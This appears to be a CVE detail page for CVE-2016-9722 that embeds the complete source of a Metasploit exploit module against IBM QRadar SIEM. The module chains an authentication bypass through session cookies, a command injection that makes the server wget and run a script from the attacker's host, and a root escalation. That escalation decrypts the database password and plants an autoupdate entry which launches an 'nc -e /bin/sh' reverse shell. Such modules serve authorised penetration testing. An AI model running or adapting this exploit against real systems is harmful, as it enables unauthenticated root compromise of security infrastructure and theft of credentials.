CVE-2016-9722 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'securerandom' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'IBM QRadar SIEM Unauthenticated Remote Code Execution', 'Description' => %q{ IBM QRadar SIEM has three vulnerabilities in the Forensics web application that when chained together allow an attacker to achieve unauthenticated remote code execution. The first stage bypasses authentication by fixating session cookies. The second stage uses those authenticated sessions cookies to write a file to disk and execute that file as the "nobody" user. The third and final stage occurs when the file executed as "nobody" writes an entry into the database that causes QRadar to execute a shell script controlled by the attacker as root within the next minute. Details about these vulnerabilities can be found in the advisories listed in References. The Forensics web application is disabled in QRadar Community Edition, but the code still works, so these vulnerabilities can be exploited in all flavours of QRadar. This module was tested with IBM QRadar CE 7.3.0 and 7.3.1. IBM has confirmed versions up to 7.2.8 patch 12 and 7.3.1 patch 3 are vulnerable. Due to payload constraints, this module only runs a generic/shell_reverse_tcp payload. }, 'Author' => [ 'Pedro Ribeiro <[email protected]>' # Vulnerability discovery and Metasploit module ], 'License' => MSF_LICENSE, 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'References' => [ ['CVE', '2016-9722'], ['CVE', '2018-1418'], ['CVE', '2018-1612'], ['URL', 'https://blogs.securiteam.com/index.php/archives/3689'], ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/ibm-qradar-siem-forensics.txt'], ['URL', 'http://seclists.org/fulldisclosure/2018/May/54'], ['URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg22015797'] ], 'Targets' => [ [ 'IBM QRadar SIEM <= 7.3.1 Patch 2 / 7.2.8 Patch 11', {} ], ], 'Payload' => { 'Compat' => { 'ConnectionType' => 'reverse', } }, 'DefaultOptions' => { 'SSL' => true, # we can only run shell scripts, so set a reverse netcat payload by default # the payload that will be run is in the first few lines of @payload 'PAYLOAD' => 'generic/shell_reverse_tcp', }, 'DisclosureDate' => 'May 28 2018', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(443), OptString.new('SRVHOST', [true, 'HTTP server address', '0.0.0.0']), OptString.new('SRVPORT', [true, 'HTTP server port', '4448']), ]) end def check res = send_request_cgi({ 'uri' => '/ForensicsAnalysisServlet/', 'method' => 'GET' }) if res.nil? vprint_error 'Connection failed' return CheckCode::Unknown end if res.code == 403 return CheckCode::Detected end CheckCode::Safe rescue ::Rex::ConnectionError vprint_error 'Connection failed' return CheckCode::Unknown end # Handle incoming requests from QRadar def on_request_uri(cli, request) print_good("#{peer} - Sending privilege escalation payload to QRadar...") print_good("#{peer} - Sit back and relax, Shelly will come visit soon!") send_response(cli, @payload) end # step 1 of the exploit, bypass authentication in the ForensicAnalysisServlet def set_cookies @sec_cookie = SecureRandom.uuid @csrf_cookie = SecureRandom.uuid post_data = "#{rand_text_alpha(5..12)},#{rand_text_alpha(5..12)}," + "#{@sec_cookie},#{@csrf_cookie}" res = send_request_cgi({ 'uri' => '/ForensicsAnalysisServlet/', 'method' => 'POST', 'ctype' => 'application/json', 'cookie' => "SEC=#{@sec_cookie}; QRadarCSRF=#{@csrf_cookie};", 'vars_get' => { 'action' => 'setSecurityTokens', 'forensicsManagedHostIps' => "#{rand(256)}.#{rand(256)}.#{rand(256)}.#{rand(256)}" }, 'data' => post_data }) if res.nil? or res.code != 200 fail_with(Failure::Unknown, "#{peer} - Failed to set the SEC and QRadar CSRF cookies") end end def exploit print_status("#{peer} - Attempting to exploit #{target.name}") # run step 1 set_cookies # let's prepare step 2 (payload) and 3 (payload exec as root) @payload_name = rand_text_alpha_lower(3..5) root_payload = rand_text_alpha_lower(3..5) if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") srv_host = Rex::Socket.source_address(rhost) else srv_host = datastore['SRVHOST'] end http_service = (datastore['SSL'] ? 'https://' : 'http://') + srv_host + ':' + datastore['SRVPORT'].to_s service_uri = http_service + '/' + @payload_name print_status("#{peer} - Starting up our web service on #{http_service} ...") start_service({'Uri' => { 'Proc' => Proc.new { |cli, req| on_request_uri(cli, req) }, 'Path' => "/#{@payload_name}" }}) @payload = %{#!/bin/bash # our payload that's going to be downloaded from our web server cat <<EOF > /store/configservices/staging/updates/#{root_payload} #!/bin/bash /usr/bin/nc -e /bin/sh #{datastore['LHOST']} #{datastore['LPORT']} & EOF ### below is adapted from /opt/qradar/support/changePasswd.sh [ -z $NVA_CONF ] && NVA_CONF="/opt/qradar/conf/nva.conf" NVACONF=`grep "^NVACONF=" $NVA_CONF 2> /dev/null | cut -d= -f2` FRAMEWORKS_PROPERTIES_FILE="frameworks.properties" FORENSICS_USER_FILE="config_user.xml" FORENSICS_USER_FILE_CONFIG="$NVACONF/$FORENSICS_USER_FILE" # get the encrypted db password from the config PASSWORDENCRYPTED=`cat $FORENSICS_USER_FILE_CONFIG | grep WEBUSER_DB_PASSWORD | grep -o -P '(?<=>)([\\w\\=\\+\\/]*)(?=<)'` QVERSION=$(/opt/qradar/bin/myver | awk -F. '{print $1$2$3}') AU_CRYPT=/opt/qradar/lib/Q1/auCrypto.pm P_ENC=$(grep I_P_ENC ${AU_CRYPT} | cut -d= -f2-) P_DEC=$(grep I_P_DEC ${AU_CRYPT} | cut -d= -f2-) AESKEY=`grep 'aes.key=' $NVACONF/$FRAMEWORKS_PROPERTIES_FILE | cut -c9-` #if 7.2.8 or greater, use new method for hashing and salting passwords if [[ $QVERSION -gt 727 || -z "$AESKEY" ]] then PASSWORD=$(perl <(echo ${P_DEC} | base64 -d) <(echo ${PASSWORDENCRYPTED})) [ $? != 0 ] && echo "ERROR: Unable to decrypt $PASSWORDENCRYPTED" && exit 255 else PASSWORD=`/opt/qradar/bin/runjava.sh -Daes.key=$AESKEY com.q1labs.frameworks.crypto.AESUtil decrypt $PASSWORDENCRYPTED` [ $? != 0 ] && echo "ERROR: Unable to decrypt $PASSWORDENCRYPTED" && exit 255 fi PGPASSWORD=$PASSWORD /usr/bin/psql -h localhost -U qradar qradar -c \ "insert into autoupdate_patch values ('#{root_payload}',#{rand(1000)+100},'minor',false,#{rand(9999)+100},0,'',1,false,'','','',false)" # kill ourselves! (sleep 2 && rm -- "$0") & } # let's do step 2 then, ask QRadar to download and execute our payload print_status("#{peer} - Asking QRadar to download and execute #{service_uri}") exec_cmd = "$(mkdir -p /store/configservices/staging/updates && wget --no-check-certificate -O " + "/store/configservices/staging/updates/#{@payload_name} #{service_uri} && " + "/bin/bash /store/configservices/staging/updates/#{@payload_name})" payload_step2 = "pcap[0][pcap]" + "=/#{rand_text_alpha_lower(2..6) + '/' + rand_text_alpha_lower(2..6)}" + "&pcap[1][pcap]=#{Rex::Text::uri_encode(exec_cmd, 'hex-all')}" uri_step2 = "/ForensicsAnalysisServlet/?forensicsManagedHostIps" + "=127.0.0.1/forensics/file.php%3f%26&action=get&slavefile=true" res = send_request_cgi({ 'uri' => uri_step2 + '&' + payload_step2, 'method' => 'GET', 'cookie' => "SEC=#{@sec_cookie}; QRadarCSRF=#{@csrf_cookie};", }) # now we just sit back and wait for step 2 payload to be downloaded and executed # ... and then step 3 to complete. Let's give it a little more than a minute. Rex.sleep 80 end end